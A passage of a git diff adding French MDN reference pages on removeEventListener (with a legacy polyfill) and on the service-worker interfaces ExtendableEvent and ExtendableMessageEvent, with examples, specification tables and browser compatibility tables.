+<p>Si un {{domxref("EventListener")}} est retiré d'un {{domxref("EventTarget")}} alors qu'il est en train de traiter un événement, il ne sera pas déclenché par les actions courantes. Les {{domxref("EventListener")}} ne peuvent jamais être invoqués après avoir été retirés.</p>
+
+<p>L'appel de <code>removeEventListener()</code> avec des paramètres n'identifiant aucun {{domxref("EventListener")}} actuellement enregistré sur l'<code>EventTarget</code> n'a aucun effet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple montre comment ajouter un écouteur d'évènements basé sur <code>click</code> et supprimer un écouteur d'évènements basé sur <code>mouseover</code>.</p>
+
+<pre class="brush: js">var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<h2 id="Prothèse_(polyfill)_pour_la_prise_en_charge_des_navigateurs_anciens">Prothèse (<em>polyfill</em>) pour la prise en charge des navigateurs anciens</h2>
+
+<p><code>addEventListener()</code> et <code>removeEventListener()</code> ne sont pas présents dans les anciens navigateurs. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts, permettant l'utilisation de <code>addEventListener()</code> et <code>removeEventListener()</code> dans les implémentations qui ne le supportent pas nativement. Toutefois, cette méthode ne fonctionnera pas sur Internet Explorer 7 ou version antérieure, car l'extension du fichier Element.prototype n'a pas été prise en charge jusqu'à Internet Explorer 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener")}}</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/extendableevent/extendableevent/index.html b/files/fr/web/api/extendableevent/extendableevent/index.html
new file mode 100644
index 0000000000..913fc0079c
--- /dev/null
+++ b/files/fr/web/api/extendableevent/extendableevent/index.html
@@ -0,0 +1,109 @@
+---
+title: ExtendableEvent.ExtendableEvent()
+slug: Web/API/ExtendableEvent/ExtendableEvent
+tags:
+  - API
+  - Experimental
+  - ExtendableEvent
+  - Reference
+  - Service Workers
+  - ServiceWorker
+translation_of: Web/API/ExtendableEvent/ExtendableEvent
+---
+<p>{{APIRef("Service Workers API")}}{{ SeeCompatTable() }}</p>
+
+<p>Le contructeur <code><strong>ExtendableEvent()</strong></code> crée un nouvel objet {{domxref("ExtendableEvent")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myExtendableEvent = new ExtendableEvent(type, init);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>type</em></dt>
+ <dd>Le type de l'ExtendableEvent, par exemple {{Event("install")}}, {{Event("activate")}}.</dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>Un objet d'options contenant n'importe quelle configuration personnalisée que vous voulez appeler à un objet d'évènement. Pour le moment, il n'existe pas d'option dans la spécification, mais il a été défini pour une compatibilité future pour les différents évènements dérivés.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendable-event', 'ExtendableEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utilisation des Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Exemple simple de service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Les  ServiceWorker sont-ils prêts?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation performante des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/extendableevent/index.html b/files/fr/web/api/extendableevent/index.html
new file mode 100644
index 0000000000..02967eaa8a
--- /dev/null
+++ b/files/fr/web/api/extendableevent/index.html
@@ -0,0 +1,169 @@
+---
+title: ExtendableEvent
+slug: Web/API/ExtendableEvent
+tags:
+  - API
+  - Experimental
+  - ExtendableEvent
+  - Interface
+  - Reference
+  - Services Workers
+translation_of: Web/API/ExtendableEvent
+---
+<div>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</div>
+
+<p>L'interface <strong><code>ExtendableEvent</code></strong> étend la durée de vie des évènemets {{event("install")}} et {{event("activate")}} envoyés dans la portée global dans le cycle de vie du service worker. Elle s'assure que les évènements fonctionnels (comme {{domxref("FetchEvent")}}) ne sont pas distribués avant de mettre à jour les shémas de la base de données et de vider l'ancien cache.</p>
+
+<p>Si {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} est appelé en dehors du gestionnaire <code>ExtendableEvent</code>, le navigateur doit lever <code>InvalidStateError</code>; notez que plusieurs appels vont s'empiler, et que les promesses de résultat seront ajoutées à la liste des <a href="https://slightlyoff.github.io/ServiceWorker/spec/service_worker/index.html#dfn-extend-lifetime-promises">promesses à vie étendue</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Le comportement décrit dans le paragraphe précédent a été corrigé dans Firefox 43 (voir {{bug(1180274)}}).</p>
+</div>
+
+<p>Cette interface hérite de l'interface {{domxref("Event")}}.</p>
+
+<p>{{InheritanceDiagram(700, 60, 20)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette interface est disponnible seulement quand la portée globale est {{domxref("ServiceWorkerGlobalScope")}}. Elle n'est pas disponible quand c'est une {{domxref("Window")}}, ou le scope d'un autre genre de worker.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.ExtendableEvent()", "ExtendableEvent()")}}</dt>
+ <dd>Crée un nouvel object <code>ExtendableEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>N'implémente pas de propriétés spécifiques, mais hérite celles de sont parent, <em>{{domxref("Event")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Hérite des méthodes de son parent <em>{{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}</dt>
+ <dd>Étend la durée de vie de l'évènement. Cette méthode doit être appelée dans {{event("install")}}{{domxref("EventHandler")}} pour le worker {{domxref("ServiceWorkerRegistration.installing", "installing")}} et dans {{event("active")}} {{domxref("EventHandler")}} pour le worker {{domxref("ServiceWorkerRegistration.active", "active")}}. </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment de code est tiré de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">l'exemple de lecture du service worker</a> (voir <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">l'exemple en live</a>). Ce code appelle {{domxref("ExtendableEvent.waitUntil()")}} dans {{domxref("ServiceWorkerGlobalScope.oninstall")}}, retartant le traitement du worker {{domxref("ServiceWorkerRegistration.installing")}} après l'installation jusqu'à ce que la promesse se résolve. La promesse se résoud quand toutes les ressources ont été récupérés et mises en cache, ou quand une exception est lévée.</p>
+
+<p>Ce fragent de code montre aussi une bonne pratique pour construire des versions de cache utilisé par le service worker. Même s'il n'y a qu'un cache dans cet exemple, la même approche peut être utilisée pour plusieurs caches. Il lie un identifiant court pour un cache avec un nom de cache spécifique et versionné. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Dans Chrome, les messages de logging sont visible dans l'interface "Inspect" pour le service worker concerné, accessible via chrome://serviceworker-internals.</p>
+</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+  console.log('Installation en cours. Ressources à pré-charger :', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('Toutes les ressources ont été chargées et mises en cache.');
+      });
+    }).catch(function(error) {
+      console.error('Erreur de pré-chargement :', error);
+    })
+  );
+});</pre>
+
+<div class="note"><strong>Important</strong>: Au moment du chargement des ressources, il est très important d'utiliser <code>{mode: 'no-cors'}</code> s'il y a une chance que la ressource soit servie depuis un serveur qui ne supporte pas le <a href="http://en.wikipedia.org/wiki/Cross-origin_resource_sharing">CORS</a>. Dans cet exemple, <a href="http://www.chromium.org">www.chromium.org</a> ne support pas le CORS.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendable-event', 'ExtendableEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Code de base d'un service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les ServiceWorker sont prêt ?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation performate des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/extendablemessageevent/data/index.html b/files/fr/web/api/extendablemessageevent/data/index.html
new file mode 100644
index 0000000000..c4c6f6c3c2
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/data/index.html
@@ -0,0 +1,128 @@
+---
+title: ExtendableMessageEvent.data
+slug: Web/API/ExtendableMessageEvent/data
+tags:
+  - API
+  - Experimental
+  - Propriété
+  - Reference
+  - Service Workers
+translation_of: Web/API/ExtendableMessageEvent/data
+---
+<div>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>data</strong></code> est une propriété en lecture seule rattachée à l'interface {{domxref("ExtendableMessageEvent")}} et qui permet d'accéder aux données de l'évènement. Il peut s'agir de n'importe quel type de donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mesDonnees = ExtendableMessageEventInstance.data;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>N'importe quel type de donnée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Quand le code suivant est utilisé dans un service worker pour répondre à un message <em>push</em> en envoyant les données reçues par {{domxref("PushMessageData")}} au contexte principal via un <a href="/fr/docs/Web/API/Channel_Messaging_API">message</a>, l'objet de l'évènement <code>onmessage</code> sera un <code>ExtendableMessageEvent</code>.</p>
+
+<pre class="brush: js">var port;
+
+self.addEventListener('push', function(e) {
+  var obj = e.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+
+self.onmessage = function(e) {
+  console.log(e.data);
+  port = e.ports[0];
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-data-attribute', 'ExtendableMessageEvent.data')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les <em>service workers</em> (ainsi que les notifications <em><a href="/fr/docs/Web/API/Push_API">push</a></em>) ont été désactivées pour les <a href="https://www.mozilla.org/en-US/firefox/organizations/">éditions ESR de Firefox 45 et Firefox 52</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les <em>Service Workers</em></a></li>
+ <li><a href="https://github.com/mdn/sw-test">Exemple simple utilisant les <em>service workers</em></a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">État d'avancement de l'implémentation pour <em>ServiceWorker</em> dans les navigateurs</a></li>
+ <li><a href="/fr/docs/Web/API/Channel_Messaging_API">Échange de messages entre les canaux</a></li>
+</ul>
diff --git a/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.html b/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.html
new file mode 100644
index 0000000000..5ec94ab660
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/extendablemessageevent/index.html
@@ -0,0 +1,129 @@
+---
+title: ExtendableMessageEvent.ExtendableMessageEvent()
+slug: Web/API/ExtendableMessageEvent/ExtendableMessageEvent
+tags:
+  - API
+  - Constructor
+  - Experimental
+  - Reference
+  - Service Workers
+translation_of: Web/API/ExtendableMessageEvent/ExtendableMessageEvent
+---
+<p>{{APIRef("Service Workers API")}}{{ SeeCompatTable() }}</p>
+
+<p>Le constructeur <code><strong>Extendable</strong></code><strong><code>MessageEvent()</code></strong>crée une nouvelle instance d'un {{domxref("ExtendableMessageEvent")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var myEME = new ExtendableMessageEvent(type, init);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>type</dt>
+ <dd>Un {{domxref("DOMString")}} qui définie le type de message créé.</dd>
+ <dt>init {{optional_inline}}</dt>
+ <dd>Un objet d'initialisation, qui doit contenir les paramètres suivant:
+ <ul>
+  <li><code>data</code>: Les données de l'évènement — peut être de n'importe quel type.</li>
+  <li><code>origin</code>: Une {{domxref("DOMString")}} qui définie l'origine de l'environnement du service worker correspondant.</li>
+  <li><code>lastEventId</code>: Une {{domxref("DOMString")}} qui définie le dernier l'id du dernier évènement de l'évènement source.</li>
+  <li><code>source</code>: Le {{domxref("Client")}}, {{domxref("ServiceWorker")}} ou {{domxref("MessagePort")}} qui a envoyé un message.</li>
+  <li><code>ports</code>: Un tableau contenant les objets  {{domxref("MessagePort")}} connectés au canal d'envoie des messages.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var init = {
+             data : 'Message de bienvenue',
+             source : MessagePortReference,
+             ports : MessagePortListReference
+           }
+
+var myEME = new ExtendableMessageEvent('message', init);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-interface', 'ExtendableMessageEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les services workers (et <a href="/en-US/docs/Web/API/Push_API">Push</a>) on été désactivés dans la <a href="https://www.mozilla.org/en-US/firefox/organizations/">Sortie du support étendu de Firefox 45</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Exemple simple de service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Les Services Workers sont-ils prêts ?</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Canal de messages</a></li>
+</ul>
diff --git a/files/fr/web/api/extendablemessageevent/index.html b/files/fr/web/api/extendablemessageevent/index.html
new file mode 100644
index 0000000000..518622d6cc
--- /dev/null
+++ b/files/fr/web/api/extendablemessageevent/index.html
@@ -0,0 +1,151 @@
+---
+title: ExtendableMessageEvent
+slug: Web/API/ExtendableMessageEvent
+tags:
+  - API
+  - Experimental
+  - ExtendableMessageEvent
+  - Interface
+  - Reference
+  - Service Workers
+translation_of: Web/API/ExtendableMessageEvent
+---
+<div>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<p>L'interface <strong><code>ExtendableMessageEvent</code></strong> de {{domxref("ServiceWorker_API", "ServiceWorker API")}} représentes un objet d'évenement qu'un évènement {{event("message_(ServiceWorker)","message")}} lance pour un service worker (quand un canal de message est reçu sur le {{domxref("ServiceWorkerGlobalScope")}} depuis un autre context) — étends la durée de vie de ces évènements.</p>
+
+<p>Cette interface hérite de l'interface {{domxref("ExtendableEvent")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("ExtendableMessageEvent.ExtendableMessageEvent()")}}</dt>
+ <dd>Crée une nouvelle instance de l'objet <code>ExtendableMessageEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ExtendableMessageEvent.data")}} {{readonlyinline}}</dt>
+ <dd>Retourne les données de l'évenements. Il peut être de n'importe quel type.</dd>
+ <dt>{{domxref("ExtendableMessageEvent.origin")}} {{readonlyinline}}</dt>
+ <dd>Retourne l'origine du {{domxref("ServiceWorkerClient")}} qui envoie le message.</dd>
+ <dt>{{domxref("ExtendableMessageEvent.lastEventId")}} {{readonlyinline}}</dt>
+ <dd>Représente, dans un <a href="en-US/docs/Server-sent_events/Using_server-sent_events">server-sent events</a>, le dernier ID de l'évenement source.</dd>
+ <dt>{{domxref("ExtendableMessageEvent.source")}} {{readonlyinline}}</dt>
+ <dd>Retourne une référence vers le service worker qui envoie le message.</dd>
+ <dt>{{domxref("ExtendableMessageEvent.ports")}} {{readonlyinline}}</dt>
+ <dd>Retourne un tableau contenant l'objet {{domxref("MessagePort")}} représentant les ports associés au canal de messagerie.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodesde son parent, {{domxref("ExtendableEvent")}}</em>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant est utilisé dans un service worker pour répondre à un message push en envoyant les données reçues via  {{domxref("PushMessageData")}} au contexte principale via un <a href="/en-US/docs/Web/API/Channel_Messaging_API">channel message</a>, l'objet d'évènement du <code>onmessage</code> sera un <code>ExtendableMessageEvent</code>.</p>
+
+<pre class="brush: js">var port;
+
+self.addEventListener('push', function(e) {
+  var obj = e.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+
+self.onmessage = function(e) {
+  console.log(e);
+  port = e.ports[0];
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaireaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendablemessage-event-interface', 'ExtendableMessageEvent')}}</td>
